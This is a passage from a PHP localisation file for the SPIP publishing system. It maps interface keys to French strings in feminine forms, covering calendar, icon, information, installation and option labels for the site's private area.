'ical_texte_js' => 'Une ligne de javascript vous permet d’afficher très simplement, sur n’importe quel site vous appartenant, les articles récents publiés sur ce site.',
'ical_texte_prive' => 'Ce calendrier, à usage strictement personnel, vous informe de l’activité éditoriale privée de ce site (tâches et rendez-vous personnels, articles et brèves proposés...).',
'ical_texte_public' => 'Ce calendrier vous permet de suivre l’activité publique de ce site (articles et brèves publiés).',
'ical_texte_rss' => 'Vous pouvez syndiquer les nouveautés de ce site dans n’importe quel lecteur de fichiers au format XML/RSS (Rich Site Summary). C’est aussi le format qui permet à SPIP de lire les nouveautés publiées sur d’autres sites utilisant un format d’échange compatible (sites syndiqués).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Fichiers de syndication',
'icone_accueil' => 'Accueil',
'icone_activer_cookie' => 'Activer le cookie de correspondance',
'icone_activite' => 'Activité',
'icone_admin_plugin' => 'Gestion des plugins',
'icone_administration' => 'Maintenance',
'icone_afficher_auteurs' => 'Afficher les auteures',
'icone_afficher_visiteurs' => 'Afficher les visiteuses',
'icone_arret_discussion' => 'Ne plus participer à cette discussion',
'icone_calendrier' => 'Calendrier',
'icone_configuration' => 'Configuration',
'icone_creer_auteur' => 'Créer une nouvelle auteure et l’associer à cet article',
'icone_creer_mot_cle' => 'Créer un nouveau mot-clé et le lier à cet article',
'icone_creer_mot_cle_rubrique' => 'Créer un nouveau mot-clé et le lier à cette rubrique',
'icone_creer_mot_cle_site' => 'Créer un nouveau mot-clé et le lier à ce site',
'icone_creer_rubrique_2' => 'Créer une nouvelle rubrique',
'icone_edition' => 'Édition',
'icone_envoyer_message' => 'Envoyer ce message',
'icone_ma_langue' => 'Ma langue',
'icone_mes_infos' => 'Mes informations',
'icone_mes_preferences' => 'Mes préférences',
'icone_modifier_article' => 'Modifier cet article',
'icone_modifier_message' => 'Modifier ce message',
'icone_modifier_rubrique' => 'Modifier cette rubrique',
'icone_publication' => 'Publication',
'icone_relancer_signataire' => 'Relancer la signataire',
'icone_retour' => 'Retour',
'icone_retour_article' => 'Retour à l’article',
'icone_squelette' => 'Squelettes',
'icone_suivi_publication' => 'Suivi de la publication',
'icone_supprimer_cookie' => 'Supprimer le cookie de correspondance',
'icone_supprimer_rubrique' => 'Supprimer cette rubrique',
'icone_supprimer_signature' => 'Supprimer cette signature',
'icone_valider_signature' => 'Valider cette signature',
'image_administrer_rubrique' => 'Vous pouvez administrer cette rubrique',
'impossible_modifier_login_auteur' => 'Impossible de modifier le login.',
'impossible_modifier_pass_auteur' => 'Impossible de modifier le mot de passe.',
'info_1_article' => '1 article',
'info_1_article_syndique' => '1 article syndiqué',
'info_1_auteur' => '1 auteure',
'info_1_message' => '1 message',
'info_1_mot_cle' => '1 mot-clé',
'info_1_rubrique' => '1 rubrique',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 visiteuse',
'info_activer_cookie' => 'Vous pouvez activer un <b>cookie de correspondance</b>, ce qui vous
permettra de passer facilement du site public au site privé.',
'info_admin_etre_webmestre' => 'Me donner les droits de webmestre',
'info_admin_gere_rubriques' => 'Cette administratrice gère les rubriques suivantes :',
'info_admin_gere_toutes_rubriques' => 'Cette administratrice gère <b>toutes les rubriques</b>',
'info_admin_gere_toutes_rubriques_2' => 'Je gère <b>toutes les rubriques</b>',
'info_admin_je_suis_webmestre' => 'Je suis <b>webmestre</b>',
'info_admin_statuer_webmestre' => 'Donner à Cette administratrice les droits de webmestre',
'info_admin_webmestre' => 'Cette administratrice est <b>webmestre</b>',
'info_administrateur' => 'Administratrice',
'info_administrateur_1' => 'Administratrice',
'info_administrateur_2' => 'du site (<i>utilisez avec précaution</i>)',
'info_administrateur_site_01' => 'Si vous êtes administratrice du site, veuillez',
'info_administrateur_site_02' => 'cliquer sur ce lien',
'info_administrateurs' => 'Administratrices',
'info_administrer_rubrique' => 'Vous pouvez administrer cette rubrique',
'info_adresse' => 'à l’adresse :',
'info_adresse_url' => 'Adresse (URL) du site public',
'info_afficher_par_nb' => 'Afficher par',
'info_afficher_visites' => 'Afficher les visites pour :',
'info_aide_en_ligne' => 'Aide en ligne SPIP',
'info_ajout_image' => 'Lorsque vous ajoutez des images en tant que documents joints à un article,
SPIP peut créer pour vous, automatiquement, des vignettes (miniatures) des
images insérées. Cela permet par exemple de créer
automatiquement une galerie ou un portfolio.',
'info_ajout_participant' => 'La participante suivante est ajoutée :',
'info_ajouter_rubrique' => 'Ajouter une autre rubrique à administrer :',
'info_annonce_nouveautes' => 'Annonce des nouveautés',
'info_anterieur' => 'antérieure',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Les articles post-datés à paraître',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Les articles de cette auteure',
'info_articles_miens' => 'Mes articles',
'info_articles_tous' => 'Tous les articles',
'info_articles_trouves' => 'Articles trouvés',
'info_articles_trouves_dans_texte' => 'Articles trouvés (dans le texte)',
'info_attente_validation' => 'Vos articles en attente de validation',
'info_aucun_article' => 'Aucun article',
'info_aucun_article_syndique' => 'Aucun article syndiqué',
'info_aucun_auteur' => 'Aucune auteure',
'info_aucun_message' => 'Aucun message',
'info_aucun_rubrique' => 'Aucune rubrique',
'info_aucun_site' => 'Aucun site',
'info_aucun_visiteur' => 'Aucune visiteuse',
'info_aujourdhui' => 'aujourd’hui :',
'info_auteur_message' => 'AUTEURE DU MESSAGE :',
'info_auteurs' => 'Les auteures',
'info_auteurs_par_tri' => 'Auteures@partri@',
'info_auteurs_trouves' => 'Auteures trouvées',
'info_authentification_externe' => 'Authentification externe',
'info_avertissement' => 'Avertissement',
'info_barre_outils' => 'avec sa barre d’outils ?',
'info_base_installee' => 'La structure de votre base de données est installée.',
'info_bio' => 'Biographie',
'info_cache_desactive' => 'Le cache est temporairement désactivé.',
'info_chapeau' => 'Chapeau',
'info_chapeau_2' => 'Chapeau :',
'info_chemin_acces_1' => 'Options : <b>Chemin d’accès dans l’annuaire</b>',
'info_chemin_acces_2' => 'Vous devez désormais configurer le chemin d’accès aux informations dans l’annuaire. Cette information est indispensable pour lire les profils utilisatrices stockés dans l’annuaire.',
'info_chemin_acces_annuaire' => 'Options : <b>Chemin d’accès dans l’annuaire</b>',
'info_choix_base' => 'Troisième étape :',
'info_classement_1' => '<sup>er</sup> sur @liste@',
'info_classement_2' => '<sup>e</sup> sur @liste@',
'info_code_acces' => 'N’oubliez pas vos propres codes d’accès !',
'info_compatibilite_html' => 'Norme HTML à suivre',
'info_compresseur_gzip' => 'Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@',
'info_compresseur_texte' => 'Si votre serveur ne comprime pas automatiquement les pages html pour les envoyer aux internautes, vous pouvez essayer de forcer cette compression pour diminuer le poids des pages téléchargées. <b>Attention</b> : cela peut ralentir considerablement certains serveurs.',
'info_config_suivi' => 'Si cette adresse correspond à une mailing-list, vous pouvez indiquer ci-dessous l’adresse à laquelle les participantes au site peuvent s’inscrire. Cette adresse peut être une URL (par exemple la page d’inscription à la liste par le Web), ou une adresse email dotée d’un sujet spécifique (par exemple : <tt>@adresse_suivi@?subject=subscribe</tt>) :',
'info_config_suivi_explication' => 'Vous pouvez vous abonner à la mailing-list de ce site. Vous recevrez alors par courrier électronique les annonces d’articles et de brèves proposés à la publication.',
'info_confirmer_passe' => 'Confirmer ce nouveau mot de passe :',
'info_conflit_edition_avis_non_sauvegarde' => 'Attention, les champs suivants ont été modifiés par ailleurs. Vos modifications sur ces champs n’ont donc pas été enregistrées.',
'info_conflit_edition_differences' => 'Différences :',
'info_conflit_edition_version_enregistree' => 'La version enregistrée :',
'info_conflit_edition_votre_version' => 'Votre version :',
'info_connexion_base' => 'Essai de connexion à la base',
'info_connexion_base_donnee' => 'Connexion à votre base de données',
'info_connexion_ldap_ok' => '<b>La connexion LDAP a réussi.</b><p> Vous pouvez passer à l’étape suivante.</p>',
'info_connexion_mysql' => 'Votre connexion SQL',
'info_connexion_ok' => 'La connexion a réussi.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Contenu des articles',
'info_contributions' => 'Contributions',
'info_creation_paragraphe' => 'Pour créer des paragraphes, laissez simplement des lignes vides.',
'info_creation_rubrique' => 'Avant de pouvoir écrire des articles,<br /> vous devez créer au moins une rubrique.<br />',
'info_creation_tables' => 'Création des tables de la base',
'info_creer_base' => '<b>Créer</b> une nouvelle base de données :',
'info_dans_rubrique' => 'Dans la rubrique :',
'info_date_publication_anterieure' => 'Date de rédaction antérieure :',
'info_date_referencement' => 'DATE DE RÉFÉRENCEMENT DE CE SITE :',
'info_derniere_etape' => 'C’est terminé !',
'info_derniers_articles_publies' => 'Vos derniers articles publiés en ligne',
'info_desactiver_messagerie_personnelle' => 'Vous pouvez activer ou désactiver votre messagerie personnelle sur ce site.',
'info_descriptif' => 'Descriptif :',
'info_desinstaller_plugin' => 'supprime les données et désactive le plugin',
'info_discussion_cours' => 'Discussions en cours',
'info_ecrire_article' => 'Avant de pouvoir écrire des articles, vous devez créer au moins une rubrique.',
'info_email_envoi' => 'Adresse email d’envoi (optionnel)',
'info_email_envoi_txt' => 'Indiquez ici l’adresse à utiliser pour envoyer les emails (à défaut, l’adresse destinataire sera utilisée comme adresse d’envoi) :',
'info_email_webmestre' => 'Adresse e-mail de la webmestre',
'info_entrer_code_alphabet' => 'Entrez le code de l’alphabet à utiliser :',
'info_envoi_email_automatique' => 'Envoi de mails automatique',
'info_envoyer_maintenant' => 'Envoyer maintenant',
'info_etape_suivante' => 'Passer à l’étape suivante',
'info_etape_suivante_1' => 'Vous pouvez passer à l’étape suivante.',
'info_etape_suivante_2' => 'Vous pouvez passer à l’étape suivante.',
'info_exceptions_proxy' => 'Exceptions pour le proxy',
'info_exportation_base' => 'exportation de la base vers @archive@',
'info_facilite_suivi_activite' => 'Afin de faciliter le suivi de l’activité
éditoriale du site, SPIP peut faire parvenir par mail, par exemple
à une mailing-list des rédactrices, l’annonce des demandes de
publication et des validations d’articles.',
'info_fichiers_authent' => 'Fichiers d’authentification « .htpasswd »',
'info_forums_abo_invites' => 'Votre site comporte des forums sur abonnement ; les visiteuses sont donc invitées à s’enregistrer sur le site public.',
'info_gauche_admin_effacer' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_admin_tech' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_admin_vider' => '<b>Cette page est uniquement accessible aux responsables du site.</b><p> Elle donne accès aux différentes
fonctions de maintenance technique. Certaines d’entre elles donnent lieu à un processus d’authentification spécifique, qui
exige d’avoir un accès FTP au site Web.</p>',
'info_gauche_auteurs' => 'Vous trouverez ici toutes les auteures du site.
Leur statut est indiqué par la couleur de leur icône (administratrice = vert ; rédactrice = jaune).',
'info_gauche_auteurs_exterieurs' => 'Les auteures extérieures, sans accès au site, sont indiquées par une icone bleue ;
les auteures effacées par une icone grise.',
'info_gauche_messagerie' => 'La messagerie vous permet d’échanger des messages entre rédactrices, de conserver des pense-bêtes (pour votre usage personnel) ou d’afficher des annonces sur la page d’accueil de l’espace privé (si vous êtes administratrice).',
'info_gauche_numero_auteur' => 'AUTEURE NUMÉRO',
'info_gauche_statistiques_referers' => 'Cette page présente la liste des <i>referers</i>, c’est-à-dire des sites contenant des liens menant vers votre propre site, uniquement pour hier et aujourd’hui ; cette liste est remise à zéro toutes les 24 heures.',
'info_gauche_visiteurs_enregistres' => 'Vous trouverez ici les visiteuses enregistrées
dans l’espace public du site (forums sur abonnement).',
'info_generation_miniatures_images' => 'Génération de miniatures des images',
'info_gerer_trad' => 'Gérer les liens de traduction ?',
'info_gerer_trad_objets' => '@objets@ : gérer les liens de traduction',
'info_hebergeur_desactiver_envoi_email' => 'Certains hébergeurs désactivent l’envoi automatique de
mails depuis leurs serveurs. Dans ce cas, les fonctionnalités suivantes
de SPIP ne fonctionneront pas.',
'info_hier' => 'hier :',
'info_historique_activer' => 'Activer le suivi des révisions',
'info_historique_affiche' => 'Afficher cette version',
'info_historique_comparaison' => 'comparaison',
'info_historique_desactiver' => 'Désactiver le suivi des révisions',
'info_historique_texte' => 'Le suivi des révisions permet de conserver un historique de toutes les modifications apportées au contenu d’un article, et d’afficher les différences entre les versions successives.',
'info_identification_publique' => 'Votre identité publique...',
'info_image_process' => 'Veuillez sélectionner la meilleure méthode de fabrication des vignettes en cliquant sur l’image correspondante.',
'info_image_process2' => 'Si aucune image n’apparaît, alors le serveur qui héberge votre site n’a pas été configuré pour utiliser de tels outils. Si vous souhaitez utiliser ces fonctions, contactez la responsable technique et demandez les extensions « GD » ou « Imagick ».',
'info_images_auto' => 'Images calculées automatiquement',
'info_informations_personnelles' => 'Informations personnelles',
'info_inscription_automatique' => 'Inscription automatique de nouvelles rédactrices',
'info_jeu_caractere' => 'Jeu de caractères du site',
'info_jours' => 'jours',
'info_laisser_champs_vides' => 'laisser ces champs vides)',
'info_langues' => 'Langues du site',
'info_ldap_ok' => 'L’authentification LDAP est installée.',
'info_lien_hypertexte' => 'Lien hypertexte :',
'info_liste_nouveautes_envoyee' => 'La liste des nouveautés a été envoyée',
'info_liste_redacteurs_connectes' => 'Liste des rédactrices connectées',
'info_login_existant' => 'Ce login existe déjà.',
'info_login_trop_court' => 'Login trop court.',
'info_login_trop_court_car_pluriel' => 'Le login doit contenir au moins @nb@ caractères.',
'info_logos' => 'Les logos',
'info_maximum' => 'maximum :',
'info_meme_rubrique' => 'Dans la même rubrique',
'info_message' => 'Message du',
'info_message_efface' => 'MESSAGE EFFACÉ',
'info_message_en_redaction' => 'Vos messages en cours de rédaction',
'info_message_technique' => 'Message technique :',
'info_messagerie_interne' => 'Messagerie interne',
'info_mise_a_niveau_base' => 'mise à niveau de votre base SQL',
'info_mise_a_niveau_base_2' => '{{Attention !}} Vous avez installé une version
des fichiers SPIP {antérieure} à celle qui se trouvait
auparavant sur ce site : votre base de données risque d’être
perdue et votre site ne fonctionnera plus.<br />{{Réinstallez les
fichiers de SPIP.}}',
'info_modification_enregistree' => 'Votre modification a été enregistrée',
'info_modifier_auteur' => 'Modifier l’auteure :',
'info_modifier_rubrique' => 'Modifier la rubrique :',
'info_modifier_titre' => 'Modifier : @titre@',
'info_mon_site_spip' => 'Mon site SPIP',
'info_mot_sans_groupe' => '(Mots sans groupe...)',
'info_moteur_recherche' => 'Moteur de recherche intégré',
'info_moyenne' => 'moyenne :',
'info_multi_articles' => 'Activer le menu de langue sur les articles ?',
'info_multi_cet_article' => 'Langue de cet article :',
'info_multi_langues_choisies' => 'Veuillez sélectionner ci-après les langues à disposition des rédactrices de votre site.
Les langues déjà utilisées dans votre site (affichées en premier) ne peuvent pas être désactivées.',
'info_multi_objets' => '@objets@ : activer le menu de langue',
'info_multi_rubriques' => 'Activer le menu de langue sur les rubriques ?',
'info_multi_secteurs' => '... seulement pour les rubriques situées à la racine ?',
'info_nb_articles' => '@nb@ articles',
'info_nb_articles_syndiques' => '@nb@ articles syndiqués',
'info_nb_auteurs' => '@nb@ auteures',
'info_nb_messages' => '@nb@ messages',
'info_nb_mots_cles' => '@nb@ mots-clés',
'info_nb_rubriques' => '@nb@ rubriques',
'info_nb_sites' => '@nb@ sites',
'info_nb_visiteurs' => '@nb@ visiteuses',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom de la destinataire',
'info_nom_pas_conforme' => 'les tags html ne sont pas autorisés',
'info_nom_site' => 'Nom de votre site',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTES À LA DISCUSSION :',
'info_nombre_rubriques' => '@nb_rubriques@ rubriques,',
'info_nombre_sites' => '@nb_sites@ sites,',
'info_non_deplacer' => 'Ne pas déplacer...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP peut envoyer, régulièrement, l’annonce des dernières nouveautés du site
(articles et brèves récemment publiés).',
'info_non_envoi_liste_nouveautes' => 'Ne pas envoyer la liste des nouveautés',
'info_non_modifiable' => 'ne peut pas être modifié',
'info_non_suppression_mot_cle' => 'je ne veux pas supprimer ce mot-clé.',
'info_note_numero' => 'Note @numero@',
'info_notes' => 'Notes',
'info_nouveaux_message' => 'Nouveaux messages',
'info_nouvel_article' => 'Nouvel article',
'info_nouvelle_traduction' => 'Nouvelle traduction :',
'info_numero_article' => 'ARTICLE NUMÉRO :',
'info_obligatoire_02' => ' (obligatoire)',
'info_option_accepter_visiteurs' => 'Accepter l’inscription de visiteuses du site public',
'info_option_faire_suivre' => 'Faire suivre les messages des forums aux auteures des articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refuser l’inscription des visiteuses',
'info_options_avancees' => 'OPTIONS AVANCÉES',
'info_ortho_activer' => 'Activer le vérificateur d’orthographe',
'info_ortho_desactiver' => 'Désactiver le vérificateur d’orthographe',
'info_ou' => 'ou...',
'info_page_interdite' => 'Page interdite',
'info_par_nom' => 'par nom',
'info_par_nombre_article' => 'par nombre d’articles',
'info_par_statut' => 'par statut',
'info_par_tri' => '’(par @tri@)’',
'info_passe_trop_court' => 'Mot de passe trop court.',
'info_passe_trop_court_car_pluriel' => 'Le mot de passe doit contenir au moins @nb@ caractères.',
'info_passes_identiques' => 'Les deux mots de passe ne sont pas identiques.',
'info_pense_bete_ancien' => 'Vos anciens pense-bêtes',
'info_plus_cinq_car' => 'plus de 5 caractères',
'info_plus_cinq_car_2' => '(Plus de 5 caractères)',
'info_plus_trois_car' => '(Plus de 3 caractères)',
'info_popularite' => 'popularité : @popularite@ ; visites : @visites@',
'info_popularite_4' => 'popularité : @popularite@ ; visites : @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'pour',
'info_preview_admin' => 'Seuls les administratrices peuvent prévisualiser le site',
'info_preview_comite' => 'Tous les rédactrices peuvent prévisualiser le site',
'info_preview_desactive' => 'La prévisualisation est totalement désactivée',
'info_preview_texte' => 'Il est possible de prévisualiser le site comme si tous les articles et les brèves (ayant au moins le statut « proposé ») étaient publiés. Cette possibilité doit-elle être ouverte aux administratrices seulement, à tous les rédactrices, ou à personne ?',
'info_principaux_correspondants' => 'Vos principales correspondantes',
'info_procedez_par_etape' => 'procédez étape par étape',
'info_procedure_maj_version' => 'la procédure de mise à jour doit être lancée afin d’adapter
la base de données à la nouvelle version de SPIP.',
'info_proxy_ok' => 'Test du proxy réussi.',
'info_ps' => 'P.-S.',
'info_publier' => 'publier',
'info_publies' => 'Vos articles publiés en ligne',
'info_question_accepter_visiteurs' => 'Si les squelettes de votre site prévoient l’enregistrement de visiteuses sans accès à l’espace privé, veuillez activer l’option ci-dessous :',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptez-vous les inscriptions de nouvelles rédactrices à
partir du site public ? Si vous acceptez, les visiteuses pourront s’inscrire
depuis un formulaire automatisé et accéderont alors à l’espace privé pour
proposer leurs propres articles. <div class="notice">Lors de la phase d’inscription,
les utilisatrices reçoivent un courrier électronique automatique
leur fournissant leurs codes d’accès au site privé. Certains
hébergeurs désactivent l’envoi de mails depuis leurs
serveurs : dans ce cas, l’inscription automatique est
impossible.</div>',
'info_question_utilisation_moteur_recherche' => 'Souhaitez-vous utiliser le moteur de recherche intégré à SPIP ?
(le désactiver accélère le fonctionnement du système.)',
'info_question_vignettes_referer_non' => 'Ne pas afficher les captures des sites d’origine des visites',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes',
'info_racine_site' => 'Racine du site',
'info_recharger_page' => 'Veuillez recharger cette page dans quelques instants.',
'info_recherche_auteur_a_affiner' => 'Trop de résultats pour "@cherche_auteur@" ; veuillez affiner la recherche.',
'info_recherche_auteur_ok' => 'Plusieurs rédactrices trouvées pour "@cherche_auteur@" :',
'info_recherche_auteur_zero' => 'Aucun résultat pour « @cherche_auteur@ ».',
'info_recommencer' => 'Veuillez recommencer.',
'info_redacteur_1' => 'Rédactrice',
'info_redacteur_2' => 'ayant accès à l’espace privé (<i>recommandé</i>)',
'info_redacteurs' => 'Rédactrices',
'info_redaction_en_cours' => 'EN COURS DE RÉDACTION',
'info_redirection' => 'Redirection',
'info_redirection_activee' => 'La redirection est activée.',
'info_redirection_desactivee' => 'La redirection a été supprimée.',
'info_refuses' => 'Vos articles refusés',
'info_reglage_ldap' => 'Options : <b>Réglage de l’importation LDAP</b>',
'info_renvoi_article' => '<b>Redirection.</b> Cet article renvoie à la page :',
'info_reserve_admin' => 'Seuls les administratrices peuvent modifier cette adresse.',
'info_restreindre_rubrique' => 'Restreindre la gestion à la rubrique :',
'info_resultat_recherche' => 'Résultats de la recherche :',
'info_rubriques' => 'Rubriques',
'info_rubriques_02' => 'rubriques',
'info_rubriques_trouvees' => 'Rubriques trouvées',
'info_rubriques_trouvees_dans_texte' => 'Rubriques trouvées (dans le texte)',
'info_sans_titre' => 'Sans titre',
'info_selection_chemin_acces' => '<b>Sélectionnez</b> ci-après le chemin d’accès dans l’annuaire :',
'info_signatures' => 'signatures',
'info_site' => 'Site',
'info_site_2' => 'site :',
'info_site_min' => 'site',
'info_site_reference_2' => 'Site référencé',
'info_site_web' => 'Site Web :',
'info_sites' => 'sites',
'info_sites_lies_mot' => 'Les sites référencés liés à ce mot-clé',
'info_sites_proxy' => 'Utiliser un proxy',
'info_sites_trouves' => 'Sites trouvés',
'info_sites_trouves_dans_texte' => 'Sites trouvés (dans le texte)',
'info_sous_titre' => 'Soustitre :',
'info_statut_administrateur' => 'Administratrice',
'info_statut_auteur' => 'Statut de cette auteure :',
'info_statut_auteur_2' => 'Je suis',
'info_statut_auteur_a_confirmer' => 'Inscription à confirmer',
'info_statut_auteur_autre' => 'Autre statut :',
'info_statut_efface' => 'Effacée',
'info_statut_redacteur' => 'Rédactrice',
'info_statut_utilisateurs_1' => 'Statut par défaut des utilisatrices importées',
'info_statut_utilisateurs_2' => 'Choisissez le statut qui est attribué aux personnes présentes dans l’annuaire LDAP lorsqu’elles se connectent pour la première fois. Vous pourrez par la suite modifier cette valeur pour chaque auteure au cas par cas.',
'info_suivi_activite' => 'Suivi de l’activité éditoriale',
'info_surtitre' => 'Surtitre :',
'info_syndication_integrale_1' => 'Votre site propose des fichiers de syndication (voir « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Souhaitez-vous transmettre les articles dans leur intégralité, ou ne diffuser qu’un résumé de quelques centaines de caractères ?',
'info_table_prefix' => 'Vous pouvez modifier le préfixe du nom des tables de données (ceci est indispensable lorsque l’on souhaite installer plusieurs sites dans la même base de données). Ce préfixe s’écrit en lettres minuscules, non accentuées, et sans espace.',
'info_taille_maximale_images' => 'SPIP va tester la taille maximale des images qu’il peut traiter (en millions de pixels).<br /> Les images plus grandes ne seront pas réduites.',
'info_taille_maximale_vignette' => 'Taille maximale des vignettes générées par le système :',
'info_terminer_installation' => 'Vous pouvez maintenant terminer la procédure d’installation standard.',
'info_texte' => 'Texte',
'info_texte_explicatif' => 'Texte explicatif',
'info_texte_long' => '(le texte est long : il apparaît donc en plusieurs parties qui seront recollées après validation.)',
'info_texte_message' => 'Texte de votre message',
'info_texte_message_02' => 'Texte du message',
'info_titre' => 'Titre :',
'info_total' => 'total :',
'info_tous_articles_en_redaction' => 'Tous les articles en cours de rédaction',
'info_tous_articles_presents' => 'Tous les articles publiés dans cette rubrique',
'info_tous_articles_refuses' => 'Tous les articles refusés',
'info_tous_les' => 'tous les :',
'info_tous_redacteurs' => 'Annonces à toutes les rédactrices',
'info_tout_site' => 'Tout le site',
'info_tout_site2' => 'L’article n’a pas été traduit dans cette langue.',
'info_tout_site3' => 'L’article a été traduit dans cette langue, mais des modifications ont été apportées par la suite à l’article de référence. La traduction doit être mise à jour.',
'info_tout_site4' => 'L’article a été traduit dans cette langue, et la traduction est à jour.',
'info_tout_site5' => 'Article original.',
'info_tout_site6' => '<b>Attention :</b> seuls les articles originaux sont affichés.
Les traductions sont associées à l’original,
dans une couleur qui indique leur état :',
'info_traductions' => 'Traductions',
'info_travail_colaboratif' => 'Travail collaboratif sur les articles',
'info_un_article' => 'un article,',
'info_un_site' => 'un site,',
'info_une_rubrique' => 'une rubrique,',
'info_une_rubrique_02' => '1 rubrique',
'info_url' => 'URL :',
'info_url_proxy' => 'URL du proxy',
'info_url_site' => 'URL DU SITE :',
'info_url_test_proxy' => 'URL de test',
'info_urlref' => 'Lien hypertexte :',
'info_utilisation_spip' => 'Vous pouvez maintenant commencer à utiliser le système de publication assistée...',
'info_visites_par_mois' => 'Affichage par mois :',
'info_visiteur_1' => 'Visiteuse',
'info_visiteur_2' => 'du site public',
'info_visiteurs' => 'Visiteuses',
'info_visiteurs_02' => 'Visiteuses du site public',
'info_webmestre_forces' => 'Les webmestres sont actuellement définies dans <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adresse de la base de données attribuée par l’hébergeur',
'install_base_ok' => 'La base @base@ a été reconnue',
'install_connect_ok' => 'La nouvelle base a bien été déclarée sous le nom de serveur @connect@.',
'install_echec_annonce' => 'L’installation va probablement échouer, ou aboutir à un site non fonctionnel...',
'install_extension_mbstring' => 'SPIP ne fonctionne pas avec :',
'install_extension_php_obligatoire' => 'SPIP exige l’extension php :',
'install_login_base_hebergeur' => 'Login de connexion attribué par l’hébergeur',
'install_nom_base_hebergeur' => 'Nom de la base attribué par l’hébergeur :',
'install_pas_table' => 'Base actuellement sans tables',
'install_pass_base_hebergeur' => 'Mot de passe de connexion attribué par l’hébergeur',
'install_php_version' => 'PHP version @version@ insuffisant (minimum = @minimum@)',
'install_select_langue' => 'Sélectionnez une langue puis cliquez sur le bouton « suivant » pour lancer la procédure d’installation.',
'install_select_type_db' => 'Indiquer le type de base de données :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Serveur de base de données attribué par l’hébergeur',
'install_table_prefix_hebergeur' => 'Préfixe de table attribué par l’hébergeur :',
'install_tables_base' => 'Tables de la base',
'install_types_db_connus' => 'SPIP sait utiliser <b>MySQL</b> (le plus répandu) et <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Le support de <b>PostgreSQL</b> est également proposé à titre experimental',
'instituer_erreur_statut_a_change' => 'Le statut a déjà été modifié',
'instituer_erreur_statut_non_autorise' => 'Vous ne pouvez pas choisir ce statut',
'intem_redacteur' => 'rédactrice',
'intitule_licence' => 'Licence',
'item_accepter_inscriptions' => 'Accepter les inscriptions',
'item_activer_messages_avertissement' => 'Activer les messages d’avertissement',
'item_administrateur_2' => 'administratrice',
'item_afficher_calendrier' => 'Afficher dans le calendrier',
'item_autoriser_documents_joints' => 'Autoriser les documents joints aux articles',
'item_autoriser_documents_joints_rubriques' => 'Autoriser les documents dans les rubriques',
'item_autoriser_syndication_integrale' => 'Diffuser l’intégralité des articles dans les fichiers de syndication',
'item_choix_administrateurs' => 'les administratrices',
'item_choix_generation_miniature' => 'Générer automatiquement les miniatures des images.',
'item_choix_non_generation_miniature' => 'Ne pas générer de miniatures des images.',
'item_choix_redacteurs' => 'les rédactrices',
'item_choix_visiteurs' => 'les visiteuses du site public',
'item_creer_fichiers_authent' => 'Créer les fichiers .htpasswd',
'item_limiter_recherche' => 'Limiter la recherche aux informations contenues dans votre site',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activer la messagerie et l’agenda',
'item_mots_cles_association_articles' => 'aux articles',
'item_mots_cles_association_rubriques' => 'aux rubriques',
'item_mots_cles_association_sites' => 'aux sites référencés ou syndiqués.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Ne pas accepter les inscriptions',
'item_non_activer_messages_avertissement' => 'Pas de messages d’avertissement',
'item_non_afficher_calendrier' => 'Ne pas afficher dans le calendrier',
'item_non_autoriser_documents_joints' => 'Ne pas autoriser les documents dans les articles',
'item_non_autoriser_documents_joints_rubriques' => 'Ne pas autoriser les documents dans les rubriques',
'item_non_autoriser_syndication_integrale' => 'Ne diffuser qu’un résumé',
'item_non_compresseur' => 'Désactiver la compression',
'item_non_creer_fichiers_authent' => 'Ne pas créer ces fichiers',
'item_non_gerer_statistiques' => 'Ne pas gérer les statistiques',
'item_non_limiter_recherche' => 'Étendre la recherche au contenu des sites référencés',
'item_non_messagerie_agenda' => 'Désactiver la messagerie et l’agenda',
'item_non_publier_articles' => 'Ne pas publier les articles avant la date de publication fixée.',
'item_non_utiliser_moteur_recherche' => 'Ne pas utiliser le moteur',
'item_nouvel_auteur' => 'Nouvelle auteure',
'item_nouvelle_rubrique' => 'Nouvelle rubrique',
'item_oui' => 'Oui',
'item_publier_articles' => 'Publier les articles, quelle que soit leur date de publication.',
'item_reponse_article' => 'Réponse à l’article',
'item_utiliser_moteur_recherche' => 'Utiliser le moteur de recherche',
'item_version_html_max_html4' => 'Se limiter au HTML4 sur le site public',
'item_version_html_max_html5' => 'Permettre le HTML5',
'item_visiteur' => 'visiteuse',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barre d’outils',
'label_bando_outils_afficher' => 'Afficher les outils',
'label_bando_outils_masquer' => 'Masquer les outils',
'label_choix_langue' => 'Selectionnez votre langue',
'label_nom_fichier_connect' => 'Indiquez le nom utilisé pour ce serveur',
